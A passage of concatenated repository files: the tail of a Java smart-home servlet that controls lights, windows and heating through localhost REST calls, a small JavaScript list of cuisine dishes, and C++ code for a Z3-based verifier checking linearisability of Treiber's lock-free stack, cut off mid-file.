reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light1/off");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light2/off");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light3/off");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light4/off");
}
// if there is someone in the room, light turn on
else if (data.equals("on")){
// turn on Light1-4
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light1/on");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light2/on");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light3/on");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light4/on");
}
}
// service 3 :
//If the outside temperature is lower than the indoor temperature and
//the inside temperature is higher than 28°C and the outside temperature
//is between 17°C and lower than the inside temperature,
//the windows should be opened automatically.
if (id.equals("TempInt")){
t = Integer.valueOf(reqApi.reqAPI("GET", "http://localhost:8888/RestProject/webapi/myresources/tempSensor/TempExt"));
// check TempInt & TempExt
if ((Integer.valueOf(data) > 28) & (t>17) & (t<(Integer.valueOf(data))) ) {
// turn on Window1-4
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window1/open");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window2/open");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window3/open");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window4/open");
// turn off Heating1
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/heating/Heating1/off");
}
// if the temperature is less than 10 the heating turns on
// and the windows are closed
if ((Integer.valueOf(data) < 10)){
// turn on Heating1
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/heating/Heating1/on");
// close Window1-4
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window1/closed");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window2/closed");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window3/closed");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window4/closed");
}
}
}else{
// service 2 : 22h lights off
if ( id.equals("Clock") ){
//close & turn off all
if (data.equals("22")){
// turn off Light1-4
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light1/off");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light2/off");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light3/off");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/light/Light4/off");
// close Window1-4
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window1/closed");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window2/closed");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window3/closed");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/window/Window4/closed");
// close Door1-2
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/door/Door1/closed");
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/door/Door2/closed");
// turn off heating
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/heating/Heating1/off");
}
}
//22h to 8h next day, if have person still in the room alarm turns on
if ( (id.equals("Sensor") & data.equals("on")) ){
reqApi.reqAPI("POST", "http://localhost:8888/RestProject/webapi/myresources/alarm/Alarm1/on");
}
}
resp.setStatus(HttpServletResponse.SC_OK);
}
}
public static void main(String[] args) throws Exception {
// start the server
Server server = new Server(PORT);
ServletHandler servletHandler = new ServletHandler();
// add servlet and context
servletHandler.addServletWithMapping(MonitorServlet.class, CONTEXT);
server.setHandler(servletHandler);
server.start();
server.join();
}
}
| d7ccc0b3f85a3bc426f9965df3a35abdbb3c54e3 | [
"Java"
] | 1 | Java | Juan0x07/RestProject | 48635183627d9b32574d248baa0c7e85e69d7533 | d3241d47e067f463e7ebb7fe8896a656a7b6cbc9 |
refs/heads/main | <file_sep># Food-Cuisine
Created with CodeSandbox
<file_sep>export const foodCuisine = {
Carribean: [
{
name: "Flying fish and Cou-Cou",
description:
" Cou Cou is closely compared to Polenta; cornmeal and okra are mixed with water and local spices to create a mash type paste. The flying fish is steamed with light Bajan seasoning."
},
{
name: "Jerk",
description:
"A fiery spice, Jerk is the signature flavour of Jamaica. It refers to a style of cooking where meat is dry or wet marinated with a hot spice mixture."
},
{
name: "Carribean PepperPot Stew",
description:
"A simple stew made with aubergine, okra, squash and potatoes slow cooked with a meat. In Antigua and Barbuda Fungi and Pepper pot is considered their national dish; cornmeal dumplings are added to the stew for a richer consistency."
},
{
name: "<NAME>",
description:
"a flavorful one-pot meal consisting of local vegetables, starchy tubers, green bananas, salty meat, and a blend of various seasonings. The ingredients are all combined in a big pot and cooked in coconut milk"
},
{
name: "<NAME>",
description:
"Fish broth is a flavorful Trini soup made with vegetables, fresh herbs, fish, and either pasta or dumplings. It is believed that the broth tastes even better the next day when it gets reheated"
}
],
Vietnamese: [
{
name: "Pho",
description:
"Pho is essentially Vietnam’s signature dish, comprising rice noodles in a flavourful soup with meat and various greens, plus a side of nuoc cham (fermented fish) or chilli sauce. A basic bowl contains tai (beef slices), bo vien (beef meatballs) or nam (beef flank), topped with bean sprouts, lime wedges, and fresh herbs such as basil, mint, cilantro, and onions."
},
{
name: "Egg Coffee",
description:
"Egg Coffee is more of a dessert (think Creme Brulee) than a beverage. Made with egg yolks, sugar and condensed milk, Egg Coffee is the best drink you will eat in Vietnam."
}
],
German: [],
Japanese: [],
Indian: []
};
export const Carribean = [];
| 8445e2c5790b6c8db92ca6742437b119e8943dc9 | [
"Markdown",
"JavaScript"
] | 2 | Markdown | 112schauhan/Food-Cuisine | 0c38ae208829f9ffba6c58b801da5ddd0c883926 | 68616b27cf3b4f4bc835e146a78549e61cd5431d |
refs/heads/master | <file_sep>#include "variable.hpp"
#include "observer.hpp"
Observer *queueobserver(){
Variable *z1 = new SingleVariable("z1", true, true);
Variable *z2 = new SingleVariable("z2", true, true);
Observer *obs = new Observer(std::vector<Variable*>({z1, z2}), 5);
// normal transitions
obs->add_transition(0, 1, IN, z1);
obs->add_transition(1, 2, IN, z2);
obs->add_transition(1, 3, OUT, z1);
obs->add_transition(2, 3, OUT, z1);
// failure transitions
obs->add_transition(0, 4, OUT, z1);
obs->add_transition(1, 4, OUT, NULL);
obs->add_transition(2, 4, OUT, z2);
obs->add_transition(2, 4, OUT, NULL);
obs->add_transition(3, 4, OUT, z1);
return obs;
}
<file_sep>#pragma once
#include <string>
#include <vector>
class Variable;
class SingleVariable;
class TwinVariable;
class Variable{
protected:
int id;
std::string name;
bool global;
bool observer;
public:
Variable(std::string name, bool global, bool observer);
virtual ~Variable();
std::string getname();
int getid();
void setid(int id);
virtual int getnextid() = 0;
bool isglobal();
bool isobserver();
virtual TwinVariable *get_twin(int number);
virtual SingleVariable *get_parent();
};
class SingleVariable : public Variable{
private:
static int obscount;
static std::vector<Variable*> variables;
TwinVariable *twin1;
TwinVariable *twin2;
public:
SingleVariable(std::string name, bool global, bool observer);
~SingleVariable();
static std::vector<Variable*> get_variables();
static std::vector<Variable*> get_obsvariables();
static std::vector<Variable*> get_nonobsvariables();
static std::vector<Variable*> get_twins(int number);
int getnextid();
void deliver_twins();
TwinVariable *get_twin(int number);
};
class TwinVariable : public Variable{
private:
static int obscount;
static std::vector<Variable*> variables;
SingleVariable *parent;
public:
TwinVariable(std::string name, bool global, bool observer, SingleVariable *parent);
~TwinVariable();
static std::vector<Variable*> get_variables();
static std::vector<Variable*> get_obsvariables();
static std::vector<Variable*> get_nonobsvariables();
int getnextid();
SingleVariable *get_parent();
};
<file_sep>#include <string>
#include <iostream>
#include <vector>
#include "variable.hpp"
#include "ast.hpp"
#include "program.hpp"
Function::Function(std::string name, bool has_input, Sequence *seq):
name(name),
input_present(has_input),
entrypoint(seq->getfirst()){
seq->setnext(NULL);
delete seq;
}
Expression *Function::get_entrypoint(){
return entrypoint;
}
bool Function::has_input(){
return input_present;
}
void Function::printsubprogram(){
std::cout << "Function " << name << "(";
if(has_input()) std::cout << "_in_";
std::cout << "){\n";
entrypoint->printsubprogram();
std::cout << "}\n";
}
Program::Program(std::string name, std::vector<Variable*> variables, Function *init, std::vector<Function*> functions):
name(name),
variables(variables),
init(init),
functions(functions),
code(Expression::get_expressions()){
}
Program::~Program(){
for(auto i : variables){
delete i;
}
delete init;
for(auto i : functions){
delete i;
}
for(auto i : code){
delete i;
}
}
Function *Program::get_init(){
return init;
}
std::vector<Function*> Program::get_functions(){
return functions;
}
std::vector<Expression*> Program::get_code(){
return code;
}
<file_sep>#include <vector>
#include <iostream>
#include "variable.hpp"
#include "observer.hpp"
LinearisationEvent::LinearisationEvent(LinearisationType type, Variable *var):
LinearisationEvent(type, var, NULL, NULL)
{
}
LinearisationEvent::LinearisationEvent(LinearisationType type, Variable *var, Variable *cmp1, Variable *cmp2):
type(type),
var(var),
cmp1(cmp1),
cmp2(cmp2)
{
}
LinearisationType LinearisationEvent::gettype(){
return type;
}
Variable *LinearisationEvent::getvar(){
return var;
}
Variable *LinearisationEvent::getcmp1(){
return cmp1;
}
Variable *LinearisationEvent::getcmp2(){
return cmp2;
}
void LinearisationEvent::print(){
std::cout << "***";
if(type == IN_PCMP || type == IN_PACMP || type == OUT_PCMP || type == OUT_PACMP){
std::cout << "IF (" << cmp1->getname() << " ";
if(type == IN_PACMP || type == OUT_PACMP){
std::cout << "===";
}else{
std::cout << "==";
}
std::cout << " " << cmp2->getname() << ") ";
}
if(type == IN || type == IN_PCMP || type == IN_PACMP){
std::cout << "in(";
}else if(type == OUT || type == OUT_PCMP || type == OUT_PACMP){
std::cout << "out(";
}
if(var != NULL){
std::cout << var->getname() << ".data";
}else{
std::cout << "/";
}
std::cout << ")";
std::cout << "***";
}
Observer::Observer(std::vector<Variable*> variables, int states):
variables(variables),
intransitions(),
outtransitions()
{
intransitions.reserve(states);
outtransitions.reserve(states);
int v = variables.size();
for(int i=0; i<states; i++){
std::vector<int> list;
list.reserve(v+1);
for(int j=0; j<=v; j++){
list.push_back(i);
}
intransitions.push_back(list);
outtransitions.push_back(list);
}
}
Observer::~Observer(){
for(const auto z : variables){
delete z;
}
}
void Observer::add_transition(int source, int target, LinearisationType eventtype, Variable *var){
int varid = -1;
if(var == NULL){
varid = variables.size();
}else{
varid = var->getid();
}
if(eventtype == IN || eventtype == IN_PCMP || eventtype == IN_PACMP){
intransitions[source][varid] = target;
}else if(eventtype == OUT || eventtype == OUT_PCMP || eventtype == OUT_PACMP){
outtransitions[source][varid] = target;
}else{
std::cout << "OMGWTFAYFKM\n";
}
}
int Observer::transition(int source, LinearisationEvent *event, Variable *var){
LinearisationType type = event->gettype();
int varid = -1;
if(var == NULL){
varid = variables.size();
}else{
varid = var->getid();
}
if(type == IN || type == IN_PCMP || type == IN_PACMP){
return intransitions[source][varid];
}else if(type == OUT || type == OUT_PCMP || type == OUT_PACMP){
return outtransitions[source][varid];
}else{
std::cout << "OMGWTFAYFKMIdonteven\n";
return -1;
}
}
int Observer::count_states(){
return intransitions.size();
}
<file_sep>#include "variable.hpp"
#include "ast.hpp"
#include "program.hpp"
#include "observer.hpp"
#include "stackobserver.hpp"
#include "view.hpp"
/*
global NULL, ToS;
local top, node;
function init(){
ToS = NULL;
}
function push(){
node = malloc();
node.data = _in_;
do{
top = ToS;
node.next = top;
}while(!CAS(ToS, top, node)); *** IF (ToS === top) in(node.data) ***
}
function pop(){
do{
top = ToS *** IF (TOS == NULL) out(/) ***
if(top == NULL){
return;
}
node = top.next;
}while(!CAS(ToS, top, node)); *** IF (ToS === top) out(top.data) ***
_out_ = top.data;
free(top);
}
*/
Program *treiberstack(){
Variable *null = new SingleVariable("NULL", true, false);
Variable *tos = new SingleVariable("ToS", true, false);
Variable *node = new SingleVariable("node", false, false);
Variable *top = new SingleVariable("top", false, false);
Function *init = new Function(
"init",
false,
new Sequence(std::vector<Block*>({
new PointerAssignment(tos, null)
}))
);
Function *push = new Function(
"push",
true,
new Sequence(std::vector<Block*>({
new Malloc(node),
new InputAssignment(node),
new Footloop(
new CAS(tos, top, node, true, new LinearisationEvent(IN_PACMP, node, tos, top)),
new Sequence(std::vector<Block*>({
new PointerAssignment(top, tos),
new NextPointerAssignment(node, top)
}))
)
}))
);
Function *pop = new Function(
"pop",
false,
new Sequence(std::vector<Block*>({
new Footloop(
new CAS(tos, top, node, true, new LinearisationEvent(OUT_PACMP, top, tos, top)),
new Sequence(std::vector<Block*>({
new PointerAssignment(top, tos, new LinearisationEvent(OUT_PCMP, NULL, tos, null)),
new IfThen(
new PointerComparison(top, null, false),
new Sequence(std::vector<Block*>({
new Return()
}))
),
new PointerNextAssignment(node, top)
}))
),
new OutputAssignment(top),
new Free(top)
}))
);
Program *stack = new Program(
"Treiber's Stack",
std::vector<Variable*>({null, tos, node, top}),
init,
std::vector<Function*>({push, pop})
);
return stack;
}
Program *testprogram(){
return treiberstack();
}
Observer *testobserver(){
return stackobserver();
}
void OneThreadView::build_initial(){
int tosid = 5, nullid = 4;
// We start in Nirvana
for(int i=0; i<loc; i++){
Clause c(ctxt, old_variables.size());
clausevar pcval = CLAUSE_NEGATIVE;
c.set_variable(pc(i), pc.getid(i), pcval);
initial.add_clause(c);
}
for(int i=0; i<autc; i++){
Clause c(ctxt, old_variables.size());
clausevar osval = (i == 0) ? CLAUSE_POSITIVE : CLAUSE_NEGATIVE;
c.set_variable(os(i), os.getid(i), osval);
initial.add_clause(c);
}
// no shape relations
for(const auto &i : vars){
int iid = i->getid();
for(const auto &j : vars){
int jid = j->getid();
if((iid == tosid && jid == nullid) || (iid == nullid && jid == tosid)) continue;
clausevar eqval = (i == j ? CLAUSE_POSITIVE : CLAUSE_NEGATIVE);
clausevar neqval = (i == j ? CLAUSE_NEGATIVE : CLAUSE_POSITIVE);
Clause eq(ctxt, old_variables.size());
eq.set_variable(shape_eq(iid, jid), shape_eq.getid(iid, jid), eqval);
initial.add_clause(eq);
Clause neq(ctxt, old_variables.size());
neq.set_variable(shape_neq(iid, jid), shape_neq.getid(iid, jid), neqval);
initial.add_clause(neq);
Clause next(ctxt, old_variables.size());
next.set_variable(shape_next(iid, jid), shape_next.getid(iid, jid), CLAUSE_NEGATIVE);
initial.add_clause(next);
Clause reach(ctxt, old_variables.size());
reach.set_variable(shape_reach(iid, jid), shape_reach.getid(iid, jid), CLAUSE_NEGATIVE);
initial.add_clause(reach);
}
}
// nobody freed, nobody owned
for(const auto i : vars){
int iid = i->getid();
Clause self(ctxt, old_variables.size());
self.set_variable(freed(iid), freed.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(self);
Clause next(ctxt, old_variables.size());
next.set_variable(freednext(iid), freednext.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(next);
Clause owner(ctxt, old_variables.size());
owner.set_variable(own(iid), own.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(owner);
}
// everybody invalid, nobody strongly invalid
for(const auto i : vars){
int iid = i->getid();
Clause invalid_eq(ctxt, old_variables.size());
invalid_eq.set_variable(inv_eq(iid), inv_eq.getid(iid), CLAUSE_POSITIVE);
initial.add_clause(invalid_eq);
Clause invalid_next(ctxt, old_variables.size());
invalid_next.set_variable(inv_next(iid), inv_next.getid(iid), CLAUSE_POSITIVE);
initial.add_clause(invalid_next);
Clause invalid_reach(ctxt, old_variables.size());
invalid_reach.set_variable(inv_reach(iid), inv_reach.getid(iid), CLAUSE_POSITIVE);
initial.add_clause(invalid_reach);
Clause sinvalid_eq(ctxt, old_variables.size());
sinvalid_eq.set_variable(sin_eq(iid), sin_eq.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(sinvalid_eq);
Clause sinvalid_next(ctxt, old_variables.size());
sinvalid_next.set_variable(sin_next(iid), sin_next.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(sinvalid_next);
Clause sinvalid_reach(ctxt, old_variables.size());
sinvalid_reach.set_variable(sin_reach(iid), sin_reach.getid(iid), CLAUSE_NEGATIVE);
initial.add_clause(sinvalid_reach);
}
// Nobody input, nobody output and I haven't seen anything
for(const auto z : obsvars){
int zid = z->getid();
Clause i(ctxt, old_variables.size());
i.set_variable(in(zid), in.getid(zid), CLAUSE_NEGATIVE);
initial.add_clause(i);
Clause o(ctxt, old_variables.size());
o.set_variable(out(zid), out.getid(zid), CLAUSE_NEGATIVE);
initial.add_clause(o);
Clause c(ctxt, old_variables.size());
c.set_variable(inseen(zid), inseen.getid(zid), CLAUSE_NEGATIVE);
initial.add_clause(c);
}
Clause i1(ctxt, old_variables.size());
i1.set_variable(shape_eq(tosid, nullid), shape_eq.getid(tosid, nullid), CLAUSE_POSITIVE);
initial.add_clause(i1);
Clause i2(ctxt, old_variables.size());
i2.set_variable(shape_neq(tosid, nullid), shape_neq.getid(tosid, nullid), CLAUSE_NEGATIVE);
initial.add_clause(i2);
Clause i6(ctxt, old_variables.size());
i6.set_variable(shape_next(tosid, nullid), shape_next.getid(tosid, nullid), CLAUSE_NEGATIVE);
initial.add_clause(i6);
Clause i7(ctxt, old_variables.size());
i7.set_variable(shape_next(nullid, tosid), shape_next.getid(nullid, tosid), CLAUSE_NEGATIVE);
initial.add_clause(i7);
Clause i8(ctxt, old_variables.size());
i8.set_variable(shape_reach(tosid, nullid), shape_reach.getid(tosid, nullid), CLAUSE_NEGATIVE);
initial.add_clause(i8);
Clause i9(ctxt, old_variables.size());
i9.set_variable(shape_reach(nullid, tosid), shape_reach.getid(nullid, tosid), CLAUSE_NEGATIVE);
initial.add_clause(i9);
Clause i3(ctxt, old_variables.size());
i3.set_variable(ages_eq(tosid, nullid), ages_eq.getid(tosid, nullid), CLAUSE_POSITIVE);
initial.add_clause(i3);
Clause i4(ctxt, old_variables.size());
i4.set_variable(ages_lt(tosid, nullid), ages_lt.getid(tosid, nullid), CLAUSE_NEGATIVE);
initial.add_clause(i4);
Clause i5(ctxt, old_variables.size());
i5.set_variable(ages_lt(tosid, nullid), ages_lt.getid(tosid, nullid), CLAUSE_NEGATIVE);
initial.add_clause(i5);
}
<file_sep>#pragma once
#include "observer.hpp"
Observer *stackobserver();
<file_sep>#pragma once
#include "observer.hpp"
Observer *queueobserver();
<file_sep>#pragma once
#include <vector>
#include "variable.hpp"
class LinearisationEvent;
class Observer;
enum LinearisationType {IN, IN_PCMP, IN_PACMP, OUT, OUT_PCMP, OUT_PACMP};
class LinearisationEvent{
private:
LinearisationType type;
Variable *var;
Variable *cmp1;
Variable *cmp2;
public:
LinearisationEvent(LinearisationType type, Variable *var);
LinearisationEvent(LinearisationType type, Variable *var, Variable *cmp1, Variable *cmp2);
LinearisationType gettype();
Variable *getvar();
Variable *getcmp1();
Variable *getcmp2();
void print();
};
/*
State 0 is always the initial state,
the last state is alway the accepting state.
*/
class Observer{
private:
std::vector<Variable*> variables;
std::vector<std::vector<int>> intransitions;
std::vector<std::vector<int>> outtransitions;
public:
Observer(std::vector<Variable*> variables, int states);
~Observer();
void add_transition(int source, int target, LinearisationType eventtype, Variable *var);
int transition(int source, LinearisationEvent *event, Variable *var);
int count_states();
};
<file_sep>#include "variable.hpp"
#include "observer.hpp"
Observer *onevalobserver(){
Variable *z = new SingleVariable("z", true, true);
Observer *obs = new Observer(std::vector<Variable*>({z}), 4);
// normal transitions
obs->add_transition(0, 1, IN, z);
obs->add_transition(1, 2, OUT, z);
// failure transitions
obs->add_transition(0, 3, OUT, z);
obs->add_transition(1, 3, OUT, NULL);
obs->add_transition(2, 3, OUT, z);
return obs;
}
<file_sep>#include <string>
#include <vector>
#include "z3++.h"
#include "variable.hpp"
#include "z3variablecontainer.hpp"
using namespace z3;
Z3VariableContainer1D::Z3VariableContainer1D(context &ctxt, int size, std::string basename, std::vector<expr> &globallist, std::vector<Variable*> *varlist){
variables.reserve(size);
ids.reserve(size);
int varc = -1;
if(varlist != NULL) varc = varlist->size();
int id = globallist.size();
for(int i=0; i<size; i++){
std::string name = std::string(basename);
if(varlist == NULL){
name.append("(");
name.append(std::to_string(i));
name.append(")");
}else{
name.append("(");
if(i >= varc){
name.append(std::string((*varlist)[i-varc]->getname()));
name.append(".next");
}else{
name.append(std::string((*varlist)[i]->getname()));
}
name.append(")");
}
expr v = ctxt.bool_const(name.c_str());
variables.push_back(v);
ids.push_back(id);
globallist.push_back(v);
id++;
}
}
int Z3VariableContainer1D::size(){
return variables.size();
}
expr Z3VariableContainer1D::operator() (unsigned int index){
return variables[index];
}
int Z3VariableContainer1D::getid(unsigned int index){
return ids[index];
}
Z3VariableContainer2D::Z3VariableContainer2D(context &ctxt, int size, std::string basename, bool symmetric, std::vector<expr> &globallist, std::vector<Variable*> *varlist){
variables.reserve(size);
ids.reserve(size);
int varc = -1;
if(varlist != NULL) varc = varlist->size();
int id = globallist.size();
for(int i=0; i<size; i++){
variables.push_back(std::vector<expr>());
ids.push_back(std::vector<int>());
variables[i].reserve(size);
ids[i].reserve(size);
for(int j=0; j<size; j++){
if(symmetric && i > j){
variables[i].push_back(variables[j][i]);
ids[i].push_back(ids[j][i]);
}else{
std::string name = std::string(basename);
if(varlist == NULL){
name.append("(");
name.append(std::to_string(i));
name.append(",");
name.append(std::to_string(j));
name.append(")");
}else{
name.append("(");
if(i >= varc){
name.append(std::string((*varlist)[i-varc]->getname()));
name.append(".next");
}else{
name.append(std::string((*varlist)[i]->getname()));
}
name.append(",");
if(j >= varc){
name.append(std::string((*varlist)[j-varc]->getname()));
name.append(".next");
}else{
name.append(std::string((*varlist)[j]->getname()));
}
name.append(")");
}
expr v = ctxt.bool_const(name.c_str());
variables[i].push_back(v);
ids[i].push_back(id);
globallist.push_back(v);
id++;
}
}
}
}
int Z3VariableContainer2D::size(){
return variables.size();
}
expr Z3VariableContainer2D::operator() (unsigned int index1, unsigned int index2){
return variables[index1][index2];
}
int Z3VariableContainer2D::getid(unsigned int index1, unsigned int index2){
return ids[index1][index2];
}
<file_sep>#include <iostream>
#include <vector>
#include "z3++.h"
#include "variable.hpp"
#include "ast.hpp"
#include "program.hpp"
#include "observer.hpp"
#include "noic3.hpp"
#include "analyzer.hpp"
using namespace z3;
std::vector<Variable*> filter_variables(std::vector<Variable*> vars, bool global){
std::vector<Variable*> result;
for(const auto v : vars){
if(v->isglobal() == global){
result.push_back(v);
}
}
return result;
}
Analyzer::Analyzer(Program *prog, Observer *obs, context &ctxt):
ctxt(ctxt),
view1(prog, obs, ctxt, SingleVariable::get_nonobsvariables(), SingleVariable::get_obsvariables(), SingleVariable::get_variables(), filter_variables(SingleVariable::get_variables(), false), filter_variables(SingleVariable::get_variables(), true)),
view2(prog, obs, ctxt, TwinVariable::get_nonobsvariables(), TwinVariable::get_obsvariables(), TwinVariable::get_variables(), filter_variables(SingleVariable::get_twins(1), false), SingleVariable::get_twins(2), filter_variables(SingleVariable::get_twins(2), false), SingleVariable::get_twins(1)),
mediator(ctxt, view1.get_old_variables(), view2.get_old_variables())
{
}
void Analyzer::build_translator(){
std::vector<Variable*> vars = SingleVariable::get_variables();
std::vector<Variable*> obsvars = SingleVariable::get_obsvariables();
int size;
std::vector<int> v_single = view1.get_variables_single();
std::vector<int> v1_single = view2.get_variables_single();
std::vector<int> v2_single = view2.get_variables2_single();
size = v_single.size();
for(int i=0; i<size; i++){
mediator.add(v_single[i], v1_single[i], v2_single[i]);
}
std::vector<Z3VariableContainer1D*> v_1did = view1.get_variables_1did();
std::vector<Z3VariableContainer1D*> v1_1did = view2.get_variables_1did();
std::vector<Z3VariableContainer1D*> v2_1did = view2.get_variables2_1did();
size = v_1did.size();
for(int i=0; i<size; i++){
mediator.add_id(*v_1did[i], *v1_1did[i], *v2_1did[i]);
}
std::vector<Z3VariableContainer1D*> v_1dvar = view1.get_variables_1dvar();
std::vector<Z3VariableContainer1D*> v1_1dvar = view2.get_variables_1dvar();
std::vector<Z3VariableContainer1D*> v2_1dvar = view2.get_variables2_1dvar();
size = v_1dvar.size();
for(int i=0; i<size; i++){
mediator.add_1dvar(*v_1dvar[i], *v1_1dvar[i], *v2_1dvar[i], vars);
}
std::vector<Z3VariableContainer1D*> v_1dobsvar = view1.get_variables_1dobsvar();
std::vector<Z3VariableContainer1D*> v1_1dobsvar = view2.get_variables_1dobsvar();
std::vector<Z3VariableContainer1D*> v2_1dobsvar = view2.get_variables2_1dobsvar();
size = v_1dobsvar.size();
for(int i=0; i<size; i++){
mediator.add_1dvar(*v_1dobsvar[i], *v1_1dobsvar[i], *v2_1dobsvar[i], obsvars);
}
std::vector<Z3VariableContainer2D*> v_2dvar = view1.get_variables_2dvar();
std::vector<Z3VariableContainer2D*> v1_2dvar = view2.get_variables_2dvar();
std::vector<Z3VariableContainer2D*> v2_2dvar = view2.get_variables2_2dvar();
size = v_2dvar.size();
for(int i=0; i<size; i++){
mediator.add_2dvar(*v_2dvar[i], *v1_2dvar[i], *v2_2dvar[i], vars);
}
std::vector<Z3VariableContainer2D*> v_2dnextvar = view1.get_variables_2dnextvar();
std::vector<Z3VariableContainer2D*> v1_2dnextvar = view2.get_variables_2dnextvar();
std::vector<Z3VariableContainer2D*> v2_2dnextvar = view2.get_variables2_2dnextvar();
size = v_2dnextvar.size();
for(int i=0; i<size; i++){
mediator.add_2dnextvar(*v_2dnextvar[i], *v1_2dnextvar[i], *v2_2dnextvar[i], vars);
}
mediator.check_complete();
}
void Analyzer::prepare(){
view1.build_initial();
view1.build_transition();
view1.build_safety();
view2.build_transition();
view2.build_intconstraints();
build_translator();
}
bool Analyzer::analyze(){
std::vector<expr> &seq_old_variables = view1.get_old_variables();
std::vector<expr> &seq_new_variables = view1.get_new_variables();
std::vector<expr> &int_old_variables = view2.get_old_variables();
std::vector<expr> &int_new_variables = view2.get_new_variables();
expr &transition = view1.get_transition();
expr &inttransition = view2.get_transition();
Frame &intconstraints = view2.get_intconstraints();
Frame &initial = view1.get_initial();
Frame &safety = view1.get_safety();
NoIC3 ic3(ctxt, seq_old_variables, seq_new_variables, int_old_variables, int_new_variables, mediator, initial, transition, inttransition, intconstraints, safety);
return ic3.prove();
}
<file_sep>#pragma once
#include <string>
#include <iostream>
#include <vector>
#include "variable.hpp"
#include "ast.hpp"
class Function;
class Program;
class Function{
private:
std::string name;
bool input_present;
Expression *entrypoint;
public:
Function(std::string name, bool has_input, Sequence *seq);
Expression* get_entrypoint();
bool has_input();
void printsubprogram();
};
class Program{
private:
std::string name;
std::vector<Variable*> variables;
Function *init;
std::vector<Function*> functions;
std::vector<Expression*> code;
public:
Program(std::string name, std::vector<Variable*> variables, Function *init, std::vector<Function*> functions);
~Program();
Function* get_init();
std::vector<Function*> get_functions();
std::vector<Expression*> get_code();
};
<file_sep>#include <vector>
#include "z3++.h"
#include "program.hpp"
#include "observer.hpp"
#include "noic3.hpp"
#include "analyzer.hpp"
// link together with the (program + observer + initial) you want to test
Program *testprogram();
Observer *testobserver();
int main(){
Program *prog = testprogram();
Observer *obs = testobserver();
// test AST
std::cout << "We have " << Expression::loc() << " lines of code\n";
prog->get_init()->printsubprogram();
std::vector<Function*> list = prog->get_functions();
for(auto i=list.begin(); i!=list.end(); i++){
(*i)->printsubprogram();
}
for(const auto v : SingleVariable::get_variables()){
std::cout << v->getname() << " |-> " << v->getid() << "\n";
}
// */
context ctxt;
Analyzer ayz(prog, obs, ctxt);
ayz.prepare();
std::cout << "Starting analysis\n";
bool result = ayz.analyze();
if(result){
std::cout << "System safe\n";
}else{
std::cout << "System unsafe\n";
}
// */
delete prog;
delete obs;
return 0;
}
<file_sep>#include "variable.hpp"
#include "observer.hpp"
Observer *stackobserver(){
Variable *z1 = new SingleVariable("z1", true, true);
Variable *z2 = new SingleVariable("z2", true, true);
Observer *obs = new Observer(std::vector<Variable*>({z1, z2}), 6);
// normal transitions
obs->add_transition(0, 1, IN, z1);
obs->add_transition(1, 2, IN, z2);
obs->add_transition(1, 4, OUT, z1);
obs->add_transition(2, 3, OUT, z2);
obs->add_transition(3, 4, OUT, z1);
// failure transitions
obs->add_transition(0, 5, OUT, z1);
obs->add_transition(1, 5, OUT, NULL);
obs->add_transition(2, 5, OUT, z1);
obs->add_transition(2, 5, OUT, NULL);
obs->add_transition(3, 5, OUT, NULL);
obs->add_transition(4, 5, OUT, z1);
return obs;
}
<file_sep>#include <vector>
#include "z3++.h"
#include "variable.hpp"
#include "ast.hpp"
#include "program.hpp"
#include "observer.hpp"
#include "z3variablecontainer.hpp"
#include "noic3.hpp"
#include "view.hpp"
View::View(Program *prog, Observer *obs, context &ctxt, std::vector<Variable*> nonobsvars, std::vector<Variable*> obsvars, std::vector<Variable*> vars, std::vector<Variable*> activelocalscope, std::vector<Variable*> activenotlocalscope):
program(prog),
observer(obs),
ctxt(ctxt),
nonobsvars(nonobsvars),
obsvars(obsvars),
vars(vars),
activelocalscope(activelocalscope),
activenotlocalscope(activenotlocalscope),
loc(Expression::loc()),
autc(observer->count_states()),
varc(vars.size()),
obsc(obsvars.size()),
old_variables(),
new_variables(),
pc(ctxt, loc, "pc", old_variables),
os(ctxt, autc, "os", old_variables),
shape_eq(ctxt, varc, "shape=", true, old_variables, &vars),
shape_neq(ctxt, varc, "shape~", true, old_variables, &vars),
shape_next(ctxt, varc, "shape+", false, old_variables, &vars),
shape_reach(ctxt, varc, "shape*", false, old_variables, &vars),
ages_eq(ctxt, 2*varc, "ages=", true, old_variables, &vars),
